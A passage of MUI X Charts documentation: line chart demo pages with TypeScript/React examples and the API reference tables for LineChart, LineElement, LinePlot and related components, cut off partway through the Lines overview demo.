tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number }>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| area | `AnimatedArea` | - | The component that renders the area. |
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| line | `LineElementPath` | - | The component that renders the line. |
| lineHighlight | `undefined` | - |  |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| mark | `undefined` | - |  |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/LineChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/LineChart.tsx)

---

# Source: https://mui.com/x/react-charts/line-demo.md

---
title: Charts - Line demos
productId: x-charts
components: LineChart, LineElement, LineHighlightElement, LineHighlightPlot, LinePlot, MarkElement, MarkPlot
---

# Charts - Line demos

This page groups demos using line charts.

## SimpleLineChart

```tsx
import Box from '@mui/material/Box';
import { LineChart } from '@mui/x-charts/LineChart';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function SimpleLineChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[
          { data: pData, label: 'pv' },
          { data: uData, label: 'uv' },
        ]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
        margin={margin}
      />
    </Box>
  );
}

```

## TinyLineChart

```tsx
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import {
  LinePlot,
  MarkPlot,
  lineElementClasses,
  markElementClasses,
} from '@mui/x-charts/LineChart';

const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function TinyLineChart() {
  return (
    <ChartContainer
      width={500}
      height={300}
      series={[{ type: 'line', data: pData }]}
      xAxis={[{ scaleType: 'point', data: xLabels, position: 'none' }]}
      yAxis={[{ position: 'none' }]}
      sx={{
        [`& .${lineElementClasses.root}`]: {
          stroke: '#8884d8',
          strokeWidth: 2,
        },
        [`& .${markElementClasses.root}`]: {
          stroke: '#8884d8',
          r: 4, // Modify the circle radius
          fill: '#fff',
          strokeWidth: 2,
        },
      }}
      disableAxisListener
    >
      <LinePlot />
      <MarkPlot />
    </ChartContainer>
  );
}

```

## DashedLineChart

```tsx
import Box from '@mui/material/Box';
import {
  LineChart,
  lineElementClasses,
  markElementClasses,
} from '@mui/x-charts/LineChart';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function DashedLineChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[
          { data: pData, label: 'pv', id: 'pvId' },
          { data: uData, label: 'uv', id: 'uvId' },
        ]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
        sx={{
          [`.${lineElementClasses.root}, .${markElementClasses.root}`]: {
            strokeWidth: 1,
          },
          [`.${lineElementClasses.root}[data-series="pvId"]`]: {
            strokeDasharray: '5 5',
          },
          [`.${lineElementClasses.root}[data-series="uvId"]`]: {
            strokeDasharray: '3 4 5 2',
          },
          [`.${markElementClasses.root}:not(.${markElementClasses.highlighted})`]: {
            fill: '#fff',
          },
          [`& .${markElementClasses.highlighted}`]: {
            stroke: 'none',
          },
        }}
        margin={margin}
      />
    </Box>
  );
}

```

## BiaxialLineChart

```tsx
import Box from '@mui/material/Box';
import { LineChart } from '@mui/x-charts/LineChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function BiaxialLineChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[
          { data: pData, label: 'pv', yAxisId: 'leftAxisId' },
          { data: uData, label: 'uv', yAxisId: 'rightAxisId' },
        ]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        yAxis={[
          { id: 'leftAxisId', width: 50 },
          { id: 'rightAxisId', position: 'right' },
        ]}
      />
    </Box>
  );
}

```

## LineChartWithReferenceLines

```tsx
import Box from '@mui/material/Box';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function LineChartWithReferenceLines() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <ChartContainer
        series={[
          { data: pData, label: 'pv', type: 'line' },
          { data: uData, label: 'uv', type: 'line' },
        ]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
        margin={margin}
      >
        <LinePlot />
        <MarkPlot />
        <ChartsReferenceLine
          x="Page C"
          label="Max PV PAGE"
          lineStyle={{ stroke: 'red' }}
        />
        <ChartsReferenceLine y={9800} label="Max" lineStyle={{ stroke: 'red' }} />
        <ChartsXAxis />
        <ChartsYAxis />
      </ChartContainer>
    </Box>
  );
}

```

## LineChartConnectNulls

```tsx
import Stack from '@mui/material/Stack';
import { LineChart } from '@mui/x-charts/LineChart';

const margin = { right: 24 };
const data = [4000, 3000, 2000, null, 1890, 2390, 3490];
const xData = ['Page A', 'Page B', 'Page C', 'Page D', 'Page E', 'Page F', 'Page G'];
export default function LineChartConnectNulls() {
  return (
    <Stack sx={{ width: '100%', height: 400 }}>
      <LineChart
        xAxis={[{ data: xData, scaleType: 'point', height: 28 }]}
        series={[{ data }]}
        margin={margin}
      />
      <LineChart
        xAxis={[{ data: xData, scaleType: 'point', height: 28 }]}
        series={[{ data, connectNulls: true }]}
        margin={margin}
      />
    </Stack>
  );
}

```

## CustomLabelLineChart

```tsx
import Box from '@mui/material/Box';
import { LineChart, MarkElementProps } from '@mui/x-charts/LineChart';

const margin = { right: 24 };
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

function CustomMark(props: MarkElementProps) {
  const { x, y, color } = props;

  return (
    <g>
      <circle cx={x} cy={y} r={4} fill={color || 'currentColor'} />
      <text
        x={x}
        y={Number(y) - 12}
        style={{
          textAnchor: 'middle',
          dominantBaseline: 'auto',
          fill: color || 'currentColor',
          fontWeight: 'bold',
          fontSize: 12,
        }}
      >
        {pData[props.dataIndex].toString()}
      </text>
    </g>
  );
}

export default function CustomLabelChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[{ data: pData, label: 'pv' }]}
        xAxis={[{ scaleType: 'point', data: xLabels }]}
        yAxis={[{ width: 50 }]}
        margin={margin}
        slots={{
          mark: CustomMark,
        }}
      />
    </Box>
  );
}

```

## Line chart with live data

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import { LineChart } from '@mui/x-charts/LineChart';

const dateFormatter = Intl.DateTimeFormat(undefined, {
  month: '2-digit',
  day: '2-digit',
});
const oneDay = 24 * 60 * 60 * 1000; // in milliseconds

const length = 50;
const initialFirstData = Array.from<number>({ length }).map(
  (_, __, array) => (array.at(-1) ?? 0) + randBetween(-100, 500),
);
const initialSecondData = Array.from<number>({ length }).map(
  (_, __, array) => (array.at(-1) ?? 0) + randBetween(-500, 100),
);

export default function LiveLineChartNoSnap() {
  const [running, setRunning] = React.useState(false);
  const [date, setDate] = React.useState(new Date(2000, 0, 0));
  const [firstData, setFirstData] = React.useState(initialFirstData);
  const [secondData, setSecondData] = React.useState(initialSecondData);

  React.useEffect(() => {
    if (!running) {
      return undefined;
    }
    const intervalId = setInterval(() => {
      setDate((prev) => new Date(prev.getTime() + oneDay));
      setFirstData((prev) => [
        ...prev.slice(1),
        prev.at(-1)! + randBetween(-500, 500),
      ]);
      setSecondData((prev) => [
        ...prev.slice(1),
        prev.at(-1)! + randBetween(-500, 500),
      ]);
    }, 100);

    return () => {
      clearInterval(intervalId);
    };
  }, [running]);

  return (
    <Box sx={{ width: '100%' }}>
      <LineChart
        height={300}
        skipAnimation
        series={[
          { data: secondData, showMark: false },
          { data: firstData, showMark: false },
        ]}
        xAxis={[
          {
            scaleType: 'point',
            data: Array.from({ length }).map(
              (_, i) => new Date(date.getTime() + i * oneDay),
            ),
            valueFormatter: (value: Date) => dateFormatter.format(value),
          },
        ]}
        yAxis={[{ width: 50 }]}
        margin={{ right: 24 }}
      />
      <Button size="small" variant="contained" onClick={() => setRunning((p) => !p)}>
        {running ? 'stop' : 'start'}
      </Button>
      <Button
        size="small"
        variant="outlined"
        sx={{ marginLeft: 1.5 }}
        onClick={() => {
          setFirstData(initialFirstData);
          setSecondData(initialSecondData);
        }}
      >
        reset
      </Button>
    </Box>
  );
}

function randBetween(min: number, max: number) {
  return Math.floor(Math.random() * (max - min + 1) + min);
}

```

## Line with forecast

To show that parts of the data have different meanings, you can render stylised lines for each of them.

In the following example, the chart shows a dotted line to exemplify that the data is estimated.
To do so, the `slots.line` is set with a custom component that render the default line twice.

- The first one is clipped to show known values (from the left of the chart to the limit).
- The second one is clipped to show predictions (from the limit to the right of the chart) with dash styling.

Additionally, an uncertainty area is shown to represent the uncertainty of the forecast.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  AnimatedLine,
  AnimatedLineProps,
  LinePlot,
  MarkPlot,
} from '@mui/x-charts/LineChart';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import {
  useChartId,
  useDrawingArea,
  useLineSeries,
  useXAxis,
  useXScale,
  useYScale,
} from '@mui/x-charts/hooks';
import * as d3Shape from '@mui/x-charts-vendor/d3-shape';
import { SxProps } from '@mui/system';
import { useTheme, Theme } from '@mui/material/styles';

interface CustomAnimatedLineProps extends AnimatedLineProps {
  limit?: number;
  sxBefore?: SxProps<Theme>;
  sxAfter?: SxProps<Theme>;
}

function CustomAnimatedLine(props: CustomAnimatedLineProps) {
  const { limit, sxBefore, sxAfter, ...other } = props;
  const { top, bottom, height, left, width } = useDrawingArea();
  const scale = useXScale();
  const chartId = useChartId();

  if (limit === undefined) {
    return <AnimatedLine {...other} />;
  }

  const limitPosition = scale(limit); // Convert value to x coordinate.

  if (limitPosition === undefined) {
    return <AnimatedLine {...other} />;
  }

  const clipIdleft = `${chartId}-${props.ownerState.id}-line-limit-${limit}-1`;
  const clipIdRight = `${chartId}-${props.ownerState.id}-line-limit-${limit}-2`;
  return (
    <React.Fragment>
      {/* Clip to show the line before the limit */}
      <clipPath id={clipIdleft}>
        <rect
          x={left}
          y={0}
          width={limitPosition - left}
          height={top + height + bottom}
        />
      </clipPath>
      {/* Clip to show the line after the limit */}
      <clipPath id={clipIdRight}>
        <rect
          x={limitPosition}
          y={0}
          width={left + width - limitPosition}
          height={top + height + bottom}
        />
      </clipPath>
      <g clipPath={`url(#${clipIdleft})`} className="line-before">
        <AnimatedLine {...other} />
      </g>
      <g clipPath={`url(#${clipIdRight})`} className="line-after">
        <AnimatedLine {...other} />
      </g>
    </React.Fragment>
  );
}

function ForecastArea({
  limit,
  forecast,
}: {
  limit: number;
  forecast: { y0: number; y1: number }[];
}) {
  const lineSeries = useLineSeries();
  const xAxis = useXAxis();
  const xScale = useXScale();
  const yScale = useYScale();

  const xAxisData: number[] = xAxis.data?.slice(limit) ?? [];

  if (!yScale) {
    return null;
  }

  return (
    <React.Fragment>
      {lineSeries.map((series) => {
        const data = xAxisData.map((v, i) => ({
          x: v,
          y0: forecast[i].y0,
          y1: forecast[i].y1,
        }));

        const path = d3Shape
          .area<(typeof data)[number]>()
          .x((d) => xScale(d.x)!)
          .y0((d) => yScale(d.y0)!)
          .y1((d) => yScale(d.y1)!)(data)!;

        return <path key={`forecast-area-${series.id}`} d={path} fill="#0000ff44" />;
      })}
    </React.Fragment>
  );
}

function ShadedBackground({ limit }: { limit: number }) {
  const { top, bottom, height, left, width } = useDrawingArea();
  const scale = useXScale();
  const limitPosition = scale(limit)!;
  const theme = useTheme();
  const fill =
    theme.palette.mode === 'dark'
      ? theme.palette.grey[900]
      : theme.palette.grey[400];

  return (
    <rect
      x={limitPosition}
      y={0}
      width={left + width - limitPosition}
      height={top + height + bottom}
      fill={fill}
      opacity={0.4}
    />
  );
}

export default function LineWithUncertaintyArea() {
  const id = React.useId();
  const clipPathId = `${id}-clip-path`;

  return (
    <Box sx={{ width: '100%', height: 200 }}>
      <ChartContainer
        series={[
          {
            type: 'line',
            data: [1, 2, 3, 4, 1, 2, 3, 4, 5],
            valueFormatter: (v, i) => `${v}${i.dataIndex > 5 ? ' (estimated)' : ''}`,
          },
        ]}
        xAxis={[{ data: [0, 1, 2, 3, 4, 5, 6, 7, 8] }]}
        sx={{ '& .line-after path': { strokeDasharray: '10 5' } }}
      >
        <ChartsXAxis />
        <ChartsYAxis />

        <g clipPath={`url(#${clipPathId})`}>
          <ShadedBackground limit={5} />
          <LinePlot
            slots={{ line: CustomAnimatedLine }}
            slotProps={{ line: { limit: 5 } as any }}
          />
          <ForecastArea
            limit={5}
            forecast={[
              { y0: 2, y1: 2 },
              { y0: 2.3, y1: 4 },
              { y0: 3, y1: 5 },
              { y0: 4.4, y1: 5.8 },
            ]}
          />
        </g>
        <g data-drawing-container>
          <MarkPlot />
        </g>
        <ChartsTooltip />
        <ChartsClipPath id={clipPathId} />
      </ChartContainer>
    </Box>
  );
}

```

## CustomLineMarks

Notice that using another shape than "circle" renders a `<path />` instead of the `<circle />` for mark elements.
This modification results in a small drop in rendering performance (around 50ms to render 1,000 marks).

```tsx
import Box from '@mui/material/Box';
import { LineChart } from '@mui/x-charts/LineChart';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function CustomLineMarks() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[
          {
            data: pData,
            label: 'pv',
            shape: 'cross',
            showMark: ({ index }) => index % 2 === 0,
          },
          {
            data: uData,
            label: 'uv',
            shape: 'diamond',
            showMark: ({ index }) => index % 2 === 0,
          },
        ]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
        margin={margin}
      />
    </Box>
  );
}

```

## Larger interaction area

A line is highlighted when a pointer is hovering over it.
Which is a narrow interaction area.
While a permanent solution isn't implemented, it's possible to define a larger interaction area with slots.

The idea is to have two paths:
A small one to display the line, and a larger invisible one that handles the interactions.

This solution has an issue when lines cross over each other, as the highlight is not on the closest line to the pointer, but by the last defined series.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Checkbox from '@mui/material/Checkbox';
import FormControlLabel from '@mui/material/FormControlLabel';
import { AnimatedLineProps, LineChart } from '@mui/x-charts/LineChart';
import { HighlightScope } from '@mui/x-charts/context';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

const highlightScope: HighlightScope = {
  highlight: 'item',
  fade: 'global',
};

const settings = {
  height: 300,
  series: [
    { data: pData, label: 'pv', highlightScope },
    { data: uData, label: 'uv', highlightScope },
  ],
  xAxis: [{ scaleType: 'point', data: xLabels }],
  yAxis: [{ width: 50 }],
  margin,
} as const;

function CustomLine(props: AnimatedLineProps) {
  const { d, ownerState, className, ...other } = props;

  return (
    <React.Fragment>
      <path
        d={d}
        stroke={
          ownerState.gradientId ? `url(#${ownerState.gradientId})` : ownerState.color
        }
        strokeWidth={ownerState.isHighlighted ? 4 : 2}
        strokeLinejoin="round"
        fill="none"
        filter={ownerState.isHighlighted ? 'brightness(120%)' : undefined}
        opacity={ownerState.isFaded ? 0.3 : 1}
        className={className}
      />
      <path
        d={d}
        stroke="transparent"
        strokeWidth={25}
        fill="none"
        className="interaction-area"
        {...other}
      />
    </React.Fragment>
  );
}

export default function LargerHighlightLineNoSnap() {
  const [showInteractionArea, setShowInteractionArea] = React.useState(true);

  return (
    <Box
      sx={{
        width: '100%',
        '& .interaction-area': showInteractionArea
          ? {
              stroke: 'lightgray',
              strokeOpacity: 0.3,
            }
          : {},
      }}
    >
      <FormControlLabel
        checked={showInteractionArea}
        control={
          <Checkbox
            onChange={(event) => setShowInteractionArea(event.target.checked)}
          />
        }
        label="Show highlight area"
        labelPlacement="end"
      />
      <LineChart {...settings} slots={{ line: CustomLine }} />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/api/charts/line-element.md

# LineElement API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { LineElement } from '@mui/x-charts/LineChart';
// or
import { LineElement } from '@mui/x-charts';
// or
import { LineElement } from '@mui/x-charts-pro';
// or
import { LineElement } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| hidden | `bool` | - | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| line | `LineElementPath` | - | The component that renders the line. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | faded | Styles applied to the root element when faded. |
| - | highlighted | Styles applied to the root element when highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${lineElementClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/LineElement.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/LineElement.tsx)

---

# Source: https://mui.com/x/api/charts/line-highlight-element.md

# LineHighlightElement API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { LineHighlightElement } from '@mui/x-charts/LineChart';
// or
import { LineHighlightElement } from '@mui/x-charts';
// or
import { LineHighlightElement } from '@mui/x-charts-pro';
// or
import { LineHighlightElement } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/LineHighlightElement.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/LineHighlightElement.tsx)

---

# Source: https://mui.com/x/api/charts/line-highlight-plot.md

# LineHighlightPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { LineHighlightPlot } from '@mui/x-charts/LineChart';
// or
import { LineHighlightPlot } from '@mui/x-charts';
// or
import { LineHighlightPlot } from '@mui/x-charts-pro';
// or
import { LineHighlightPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| lineHighlight | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/LineHighlightPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/LineHighlightPlot.tsx)

---

# Source: https://mui.com/x/api/charts/line-plot.md

# LinePlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { LinePlot } from '@mui/x-charts/LineChart';
// or
import { LinePlot } from '@mui/x-charts';
// or
import { LinePlot } from '@mui/x-charts-pro';
// or
import { LinePlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, lineItemIdentifier: LineItemIdentifier) => void` | - | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| line | `LineElementPath` | - | The component that renders the line. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/LinePlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/LinePlot.tsx)

---

# Source: https://mui.com/x/api/charts/line-series.md

# LineSeries API

## Import

```jsx
import { LineSeries } from '@mui/x-charts-premium'
// or
import { LineSeries } from '@mui/x-charts-pro'
// or
import { LineSeries } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| type | `'line'` | - | Yes |  |
| area | `boolean` | - | No |  |
| baseline | `number \| 'min' \| 'max'` | `0` | No |  |
| color | `string` | - | No |  |
| colorGetter | `(data: ColorCallbackValue<TValue>) => string` | - | No |  |
| connectNulls | `boolean` | `false` | No |  |
| curve | `CurveType` | `'monotoneX'` | No |  |
| data | `readonly (number \| null)[]` | - | No |  |
| dataKey | `string` | - | No |  |
| disableHighlight | `boolean` | `false` | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| label | `string \| ((location: 'tooltip' \| 'legend') => string)` | - | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| shape | `'circle' \| 'cross' \| 'diamond' \| 'square' \| 'star' \| 'triangle' \| 'wye'` | `'circle'` | No |  |
| showMark | `boolean \| ((params: ShowMarkParams) => boolean)` | - | No |  |
| stack | `string` | - | No |  |
| stackOffset | `StackOffsetType` | `'none'` | No |  |
| stackOrder | `StackOrderType` | `'none'` | No |  |
| strictStepCurve | `boolean` | - | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |
| xAxisId | `AxisId` | - | No |  |
| yAxisId | `AxisId` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/lines.md

---
title: React Line chart
productId: x-charts
components: LineChart, LineChartPro, LineElement, LineHighlightElement, LineHighlightPlot, LinePlot, MarkElement, MarkPlot, AreaElement, AreaPlot, AnimatedLine, AnimatedArea, ChartsGrid
---

# Charts - Lines

Line charts can express qualities about data, such as hierarchy, highlights, and comparisons.

## Overview

Line charts are ideal for showing how values change over continuous dimensions such as time or measurement scales.

They emphasize trends, patterns, and fluctuations, making them useful for exploring relationships, detecting cycles, or tracking performance over time.
Each line typically represents a series, allowing easy comparison between multiple variables or groups.

```tsx
import * as React from 'react';
import Typography from '@mui/material/Typography';
import Box from '@mui/material/Box';
import { alpha, useTheme } from '@mui/material/styles';
import { ChartDataProviderPro } from '@mui/x-charts-pro/ChartDataProviderPro';
import { ChartsSurface } from '@mui/x-charts-pro/ChartsSurface';
import { LinePlot } from '@mui/x-charts-pro/LineChart';
import { ChartsXAxis } from '@mui/x-charts-pro/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts-pro/ChartsYAxis';
import { useDrawingArea, useXScale } from '@mui/x-charts-pro/hooks';
import { ChartsTooltip } from '@mui/x-charts-pro/ChartsTooltip';
import { ChartsGrid } from '@mui/x-charts-pro/ChartsGrid';
import { ChartZoomSlider } from '@mui/x-charts-pro/ChartZoomSlider';
import { ChartsClipPath } from '@mui/x-charts-pro/ChartsClipPath';
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';
import { ChartsLegend } from '@mui/x-charts-pro/ChartsLegend';
import { usaUnemploymentAndGdp } from '../dataset/usaUnemploymentAndGdp';

type RecessionPeriod = {
  start: Date;
  end: Date;
  label: string;
};

const recessions = [
  {
    start: new Date('2001-03-01'),
    end: new Date('2001-11-01'),
    label: 'Early 2000s',
  },
  {
    start: new Date('2007-12-01'),
    end: new Date('2009-06-01'),
    label: 'Great Recession',
  },
  { start: new Date('2020-02-01'), end: new Date('2020-04-01'), label: 'COVID-19' },
];

function RecessionBands({ periods }: { periods: RecessionPeriod[] }) {
  const { top, left, width, height } = useDrawingArea();
  const xScale = useXScale();
  const theme = useTheme();
  const labelFill = alpha(theme.palette.text.primary, 0.7);

  return (
    <g>
      {periods.map((p, index) => {
        const xStart = xScale(p.start.getTime());
        const xEnd = xScale(p.end.getTime());

        if (xStart === undefined || xEnd === undefined) {
          return null;
        }

        // Stick to the left of the drawing area boundaries
        let textX: number;
        if (xStart >= left && xStart <= left + width) {
          textX = xStart;
        } else if (xEnd >= left && xEnd <= left + width) {
          textX = left;
        } else {
          return null;
        }

        return (
          <React.Fragment key={index}>
            <rect
              x={textX}
              y={top}
              width={Math.min(xEnd, left + width) - textX}
              height={height}
              fill="grey"
              opacity={0.2}
            />
            <text
              x={textX}
              y={top - 5}
              textAnchor="start"
              dominantBaseline="auto"
              fill={labelFill}
              fontSize="0.8rem"
              fontWeight={500}
              pointerEvents="none"
            >
              {p.label}
            </text>
          </React.Fragment>
        );
      })}
    </g>
  );
}

export default function LineOverview() {
  const clipPathId = React.useId();
  return (
    <Box sx={{ width: '100%' }}>
      <Typography textAlign="center">
        US unemployment rate comparison with GDP per capita
      </Typography>

      <ChartDataProviderPro
        height={300}
